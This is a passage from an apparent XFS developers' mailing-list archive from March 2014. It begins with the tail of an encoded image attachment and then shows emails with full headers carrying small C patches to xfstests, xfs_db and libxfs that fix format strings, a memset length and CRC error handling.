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 ------=_NextPart_000_12C4_01CF3794.FC6E5390-- DORAEMON-PICTURE-SPAM-ENGINE:.png-604 From sandeen@redhat.com Mon Mar 3 23:24:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9EADA7F4E for ; Mon, 3 Mar 2014 23:24:31 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 46209AC005 for ; Mon, 3 Mar 2014 21:24:30 -0800 (PST) X-ASG-Debug-ID: 1393910666-04bdf05dab22f240001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id XgbR6YfWT5I2Fdr2 for ; Mon, 03 Mar 2014 21:24:27 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s245OQkl022137 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Mar 2014 00:24:26 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s245OPMP024256 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Tue, 4 Mar 2014 00:24:25 -0500 Message-ID: <53156389.4060405@redhat.com> Date: Mon, 03 Mar 2014 23:24:25 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfstests: fix error msg in aio-dio-subblock-eof-read.c X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfstests: fix error msg in aio-dio-subblock-eof-read.c Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393910667 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 io_getevents returns the number of events; printing its return as "bytes read" is ... wrong. Signed-off-by: Eric Sandeen --- diff --git a/src/aio-dio-regress/aio-dio-subblock-eof-read.c b/src/aio-dio-regress/aio-dio-subblock-eof-read.c index a48841d..8f74cec 100644 --- a/src/aio-dio-regress/aio-dio-subblock-eof-read.c +++ b/src/aio-dio-regress/aio-dio-subblock-eof-read.c @@ -105,8 +107,8 @@ main(int argc, char **argv) * are broken, we may very well see a result of 4k. */ if (ie.res != FILE_SIZE) - fail("AIO read of last block in file returned %d bytes, " - "expected %d\n", ret, FILE_SIZE); + fail("AIO read of last block in file returned %lu bytes, " + "expected %d\n", ie.res, FILE_SIZE); printf("AIO read of last block in file succeeded.\n"); return 0; From sandeen@redhat.com Mon Mar 3 23:25:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F40AC7F4E for ; Mon, 3 Mar 2014 23:25:51 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D3EEF304043 for ; Mon, 3 Mar 2014 21:25:48 -0800 (PST) X-ASG-Debug-ID: 1393910746-04cb6c5675212470001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id qnzHyzfFAqKhHmiH for ; Mon, 03 Mar 2014 21:25:47 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s245Pjx7022305 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Mar 2014 00:25:46 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s245Piri016857 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Tue, 4 Mar 2014 00:25:45 -0500 Message-ID: <531563D8.2070007@redhat.com> Date: Mon, 03 Mar 2014 23:25:44 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfstests: memset proper length in resvtest.c X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfstests: memset proper length in resvtest.c Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393910747 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 sizeof(pointer) is not very relevant; sizeof(*pointer) is a bit more so. Signed-off-by: Eric Sandeen --- diff --git a/src/resvtest.c b/src/resvtest.c index 037d9ea..a07f503 100644 --- a/src/resvtest.c +++ b/src/resvtest.c @@ -73,7 +73,7 @@ main(int argc, char **argv) perror("open"); exit(1); } - memset(writebuffer, 'A', sizeof(writebuffer)); + memset(writebuffer, 'A', sizeof(*writebuffer)); unlink(filename); writefd = open(filename, O_RDWR | O_CREAT | O_EXCL, S_IRUSR | S_IWUSR); From sandeen@sandeen.net Mon Mar 3 23:44:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4B12A7F4E for ; Mon, 3 Mar 2014 23:44:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 12049304032 for ; Mon, 3 Mar 2014 21:43:59 -0800 (PST) X-ASG-Debug-ID: 1393911837-04bdf05dab230370001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id RHnHa8BQkCoqcKAg for ; Mon, 03 Mar 2014 21:43:58 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id AA148610C54C; Mon, 3 Mar 2014 23:43:57 -0600 (CST) Message-ID: <5315681C.5070704@sandeen.net> Date: Mon, 03 Mar 2014 23:43:56 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH V2] xfstests: fix error msg in aio-dio-subblock-eof-read.c References: <53156389.4060405@redhat.com> X-ASG-Orig-Subj: [PATCH V2] xfstests: fix error msg in aio-dio-subblock-eof-read.c In-Reply-To: <53156389.4060405@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393911837 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145726 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- io_getevents returns the number of events; printing its return as "bytes read" is ... wrong. Signed-off-by: Eric Sandeen --- V2: print as signed so we can easily see errors returned diff --git a/src/aio-dio-regress/aio-dio-subblock-eof-read.c b/src/aio-dio-regress/aio-dio-subblock-eof-read.c index a48841d..8f74cec 100644 --- a/src/aio-dio-regress/aio-dio-subblock-eof-read.c +++ b/src/aio-dio-regress/aio-dio-subblock-eof-read.c @@ -105,8 +107,8 @@ main(int argc, char **argv) * are broken, we may very well see a result of 4k. */ if (ie.res != FILE_SIZE) - fail("AIO read of last block in file returned %d bytes, " - "expected %d\n", ret, FILE_SIZE); + fail("AIO read of last block in file returned %ld bytes, " + "expected %d\n", ie.res, FILE_SIZE); printf("AIO read of last block in file succeeded.\n"); return 0; From dave@fromorbit.com Tue Mar 4 02:52:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C84E27F4E for ; Tue, 4 Mar 2014 02:52:16 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A40BF8F8065 for ; Tue, 4 Mar 2014 00:52:16 -0800 (PST) X-ASG-Debug-ID: 1393923133-04bdf05dac239590002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id FUdXLuGyTJqS7tno for ; Tue, 04 Mar 2014 00:52:15 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIuTFVN5LJYe/2dsb2JhbABagwbDGxd0giUBAQUnLzMIGDE5AxsZh3jMLReOboQiBKMQh1eDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Mar 2014 19:22:12 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKl4w-0006Hf-PC for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKl4w-000709-OS for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 12/13] xfs_db: Use EFSBADCRC for CRC validity indication Date: Tue, 4 Mar 2014 19:51:56 +1100 X-ASG-Orig-Subj: [PATCH 12/13] xfs_db: Use EFSBADCRC for CRC validity indication Message-Id: <1393923117-9559-13-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393923117-9559-1-git-send-email-david@fromorbit.com> References: <1393923117-9559-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393923134 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145730 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner xfs_db currently gives indication as to whether a buffer CRC is ok or not. Currently it does this by checking for EFSCORRUPTED in the b_error field of the buffer. Not that we have EFSBADCRC to indicate a bad CRC independently of structure corruption, use that instead to drive the CRC correct/incorrect indication in the structured output. Signed-off-by: Dave Chinner --- db/io.c | 5 +++-- db/io.h | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/db/io.c b/db/io.c index d29816c..9a787c8 100644 --- a/db/io.c +++ b/db/io.c @@ -521,10 +521,11 @@ set_cur( } /* - * keep the buffer even if the verifier says it is corrupted. + * Keep the buffer even if the verifier says it is corrupted. * We're a diagnostic tool, after all. */ - if (!bp || (bp->b_error && bp->b_error != EFSCORRUPTED)) + if (!bp || (bp->b_error && bp->b_error != EFSCORRUPTED && + bp->b_error != EFSBADCRC)) return; iocur_top->buf = bp->b_addr; iocur_top->bp = bp; diff --git a/db/io.h b/db/io.h index d8cf383..ad39bee 100644 --- a/db/io.h +++ b/db/io.h @@ -67,6 +67,6 @@ static inline bool iocur_crc_valid() { return (iocur_top->bp && - iocur_top->bp->b_error != EFSCORRUPTED && + iocur_top->bp->b_error != EFSBADCRC && (!iocur_top->ino_buf || iocur_top->ino_crc_ok)); } -- 1.9.0 From dave@fromorbit.com Tue Mar 4 02:52:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 826AD7F4E for ; Tue, 4 Mar 2014 02:52:17 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6D2D6304043 for ; Tue, 4 Mar 2014 00:52:17 -0800 (PST) X-ASG-Debug-ID: 1393923135-04cb6c567721b350001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id keUCNAJhdTw23r3A for ; Tue, 04 Mar 2014 00:52:16 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIuTFVN5LJYe/2dsb2JhbABagwbDGxd0giUBAQUnLzMIGDE5AxsZh3jMRI5uhCIEqmeDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Mar 2014 19:22:12 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKl4w-0006HZ-MB for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKl4w-0006z4-LR for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 06/13] libxfs: skip pointless CRC updates after verifier failures Date: Tue, 4 Mar 2014 19:51:50 +1100 X-ASG-Orig-Subj: [PATCH 06/13] libxfs: skip pointless CRC updates after verifier failures Message-Id: <1393923117-9559-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393923117-9559-1-git-send-email-david@fromorbit.com> References: <1393923117-9559-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393923135 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145730 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner [userspace port] Most write verifiers don't update CRCs after the verifier has failed and the buffer has been marked in error. These two didn't, but should. Add returns to the verifier failure block, since the buffer won't be written anyway. Signed-off-by: Dave Chinner --- libxfs/xfs_alloc_btree.c | 1 + libxfs/xfs_ialloc_btree.c | 1 + 2 files changed, 2 insertions(+) diff --git a/libxfs/xfs_alloc_btree.c b/libxfs/xfs_alloc_btree.c index 282a320..5b38c24 100644 --- a/libxfs/xfs_alloc_btree.c +++ b/libxfs/xfs_alloc_btree.c @@ -355,6 +355,7 @@ xfs_allocbt_write_verify( XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + return; } xfs_btree_sblock_calc_crc(bp); diff --git a/libxfs/xfs_ialloc_btree.c b/libxfs/xfs_ialloc_btree.c index 27a5dd9..d9589b7 100644 --- a/libxfs/xfs_ialloc_btree.c +++ b/libxfs/xfs_ialloc_btree.c @@ -242,6 +242,7 @@ xfs_inobt_write_verify( XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + return; } xfs_btree_sblock_calc_crc(bp); -- 1.9.0 From dave@fromorbit.com Tue Mar 4 02:52:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 